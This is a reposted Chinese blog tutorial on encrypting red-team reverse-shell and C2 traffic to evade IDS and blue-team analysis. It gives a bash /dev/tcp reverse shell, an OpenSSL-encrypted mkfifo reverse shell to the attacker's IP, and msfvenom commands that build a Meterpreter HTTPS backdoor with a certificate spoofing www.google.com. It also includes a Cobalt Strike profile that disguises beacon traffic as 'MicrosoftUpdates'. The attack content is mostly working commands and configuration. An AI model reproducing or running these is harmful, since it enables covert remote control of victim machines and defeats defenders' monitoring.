当前位置:网站首页>红蓝对抗之流量加密(Openssl加密传输、MSF流量加密、CS修改profile进行流量加密)
红蓝对抗之流量加密(Openssl加密传输、MSF流量加密、CS修改profile进行流量加密)
2022-07-06 06:24:00 【zxl2605】
本篇文章转载于:https://blog.csdn.net/q20010619/article/details/122006433?utm_medium=distribute.pc_relevant.none-task-blog-2defaultbaidujs_utm_term~default-1-122006433-blog-122810834.pc_relevant_default&spm=1001.2101.3001.4242.2&utm_relevant_index=4
红队进行渗透测试的后续渗透阶段为了扩大战果,往往需要横行渗透,反弹 shell,如果反弹 shell 都是明文传输,未加密的流量使用 wireshark 等工具抓包分析可以直接看到输入的命令和返回的信息,而且内网中 IDS 或者防护软件会进行流量进行分析,检测带有攻击特征,很容易被发现,如果蓝队对攻击流量回溯分析,就可以复现攻击的过程。此时红队攻击就会暴漏出来,整个项目都要停止
接下来先看下明文传输,然后介绍一些常见的流量加密混淆的方法
明文传输
环境介绍
- 攻击者Kali:192.168.179.134
- 受害者ubuntu:192.168.179.139
因为已经进入了后渗透阶段,环境中我们已经拿到了受害者的权限
先来一个错误示范,看看未经加密的流量状态
首先攻击者使用 nc 监听反弹端口
nc -lvvp 8080
然后在受害者机器上执行反弹shell命令,当然反弹shell的方法有很多,可以了解下,这里使用的 bash 反弹shell,适用于 linux 系统,无需安装
bash -i >& /dev/tcp/192.168.179.134/8080 0>&1
有关反弹shell的文章:
连接成功后在攻击机执行命令并使用 wireshark 嗅探流量(kali默认安装)
分析流量,看 tcp 流量就可以了,右击选择追踪流,可以看到执行的命令
Openssl加密传输
在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上
使用上一节的环境
使用步骤
1.攻击机使用 OpenSSL 生成自签名证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
2.攻击机监听端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 8080
3.目标机器(受害者)执行反弹 shell 命令
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect
192.168.179.134:8080 > /tmp/s; rm /tmp/s
# IP为攻击者IP,端口为监听端口
mkfifo 是一个创建命令管道的函数
什么是命名管道
命名管道也被称为FIFO文件,它是一种特殊类型的文件,它在文件系统中以文件名的形式存在,但是它的行为却和之前所讲的没有名字的管道(匿名管道)类似。
由于Linux中所有的事物都可被视为文件,所以对命名管道的使用也就变得与文件操作非常的统一,也使它的使用非常方便,同时我们也可以像平常的文件名一样在命令中使用
使用wireshark分析流量,可以看到 tcp 流中全部为乱码
MSF流量加密
MSF 流量加密是基于 openssl 提供的加密功能,进行流量加密
环境介绍
- 攻击者Kali:192.168.179.134
- 受害者windows:192.168.179.136
使用步骤
在攻击机上使用 openssl 创建证书
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt
在攻击机上生成后门
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.179.134 LPORT=8080 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat # 需要修改Lhsot和Lport,使用刚才生成的证书生成后门
攻击者设置监听器
配置侦听器时还需要使用两个附加选项。这是为了通知处理程序它将使用的证书(与有效负载相同),并在接收到连接时执行 SSL 证书验证
use exploit/multi/handler set payload windows/meterpreter/reverse_winhttps set LHOST 192.168.179.134 set LPORT 8080 set HandlerSSLCert /root/msf/www.google.com.pem set StagerVerifySSLCert true exploit
将生成的木马文件复制到受害者机器上执行后上线msf
使用 wireshark 分析流量
CS修改profile进行流量加密
因为 CS 名声很大,使用很广泛,导致很多 ids 入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,特别在高度安全的环境下,因为证书没修改,容易通过流量检测出来并进行拦截,检测报告将返回给管理员,管理员就能马上将缺口进行修复
生成证书修改 C2 profile 加密混淆实际上就是对流量加密传输,目的逃逸流量安全审计,穿透检测器
生成 ssl 证书
在运行 cobalt strike 默认使用的 cobaltstrike.store 证书,使用默认证书容易被检测到,所以需要生成新证书
在kali中执行以下命令
keytool -genkey -alias ocean -keyalg RSA -validity 36500 -keystore ocean.store
因为修改 profile 要使用填写相关的地区信息 这些信息填写后在 profile 上还要使用 请勿乱填,填写了要保存,信息确认后会生成一个名为 ocean.store 的文件
编辑 CS teamserver 的配置文件
set sample_name "ocean POS Malware"; set sleeptime "5000"; # use a ~30s delay between callbacks set jitter "10"; # throw in a 10% jitter set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101Firefox/24.0"; #设置证书 https-certificate { set CN "US"; set O "MicrosoftUpdates"; set C "en"; set L "US"; set OU "MicrosoftUpdates"; set ST "US"; set validity "365"; } #设置 code-signer{ set keystore "ocean.store"; set password "123456"; set alias "ocean"; } #指定 DNS beacon 不用的时候指定到 IP 地址 set dns_idle "8.8.4.4"; #每个单独 DNS 请求前强制睡眠时间 set dns_sleep "0"; #通过 DNS 上载数据时主机名的最大长度[0-255] set maxdns "235"; http-post { set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php/windowsxp/updcheck.php /hello/flash.php"; client { header "Accept" "text/plain"; header "Accept-Language" "en-us"; header "Accept-Encoding" "text/plain"; header "Content-Type" "application/x-www-form-urlencoded"; id { netbios; parameter "id"; } output { base64; prepend "&op=1&id=vxeykS&ui=Josh @PC&wv=11&gr=backoff&bv=1.55&data="; print; } } server { output { print; } } } http-get { set uri "/updates"; client { metadata { netbiosu; prepend "user="; header "Cookie"; } } server { header "Content-Type" "text/plain"; output { base64; print; } } }
注意这里的信息需要于生成文件时填写的信息一致
使用命令验证配置是否正确
./c2lint ocean.profile
修改teamserver端口
vim teamserver # 找到端口修改即可
启动teamserver
./teamserver ip password(密码) ocean.profile
新建 https 监听器
在添加监听器之后因为使用的是 443 https 端口,在浏览器访问时会提示证书无效,可以查看证书信息
生成后门
受害者执行上线,使用 wireshark 抓包分析,流量已经加密
- 完美之下,必有破绽
微信名片
边栏推荐
- org.activiti.bpmn.exceptions.XMLException: cvc-complex-type.2.4.a: 发现了以元素 ‘outgoing‘ 开头的无效内容
- Selenium source code read through · 9 | desiredcapabilities class analysis
- The pit encountered by keil over the years
- [C language] qsort function
- sourceInsight中文乱码
- My daily learning records / learning methods
- 数据库隔离级别
- MFC on the conversion and display of long string unsigned char and CString
- D - How Many Answers Are Wrong
- Customize the gateway filter factory on the specified route
猜你喜欢
Past and present lives of QR code and sorting out six test points
[web security] nodejs prototype chain pollution analysis
字幕翻译中翻英一分钟多少钱?
调用链监控Zipkin、sleuth搭建与整合
LeetCode 732. My schedule III
Grouping convolution and DW convolution, residuals and inverted residuals, bottleneck and linearbottleneck
The whole process realizes the single sign on function and the solution of "canceltoken" of undefined when the request is canceled
基于JEECG-BOOT制作“左树右表”交互页面
Apple has open source, but what about it?
Full link voltage measurement: building three models
随机推荐
oscp raven2靶机渗透过程
The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower
How to extract login cookies when JMeter performs interface testing
论文摘要翻译,多语言纯人工翻译
LeetCode 739. Daily temperature
技术分享 | 常见接口协议解析
On weak network test of special test
org. activiti. bpmn. exceptions. XMLException: cvc-complex-type. 2.4. a: Invalid content beginning with element 'outgoing' was found
Redis 核心技术与实战之 基本架构:一个键值数据库包含什么?
JWT-JSON WEB TOKEN
MFC dynamically creates dialog boxes and changes the size and position of controls
B - The Suspects
Summary of the post of "Web Test Engineer"
Is the test cycle compressed? Teach you 9 ways to deal with it
模拟卷Leetcode【普通】1091. 二进制矩阵中的最短路径
G - Supermarket
商标翻译有什么特点,如何翻译?
MySQL is sorted alphabetically
Past and present lives of QR code and sorting out six test points
Simulation volume leetcode [general] 1109 Flight reservation statistics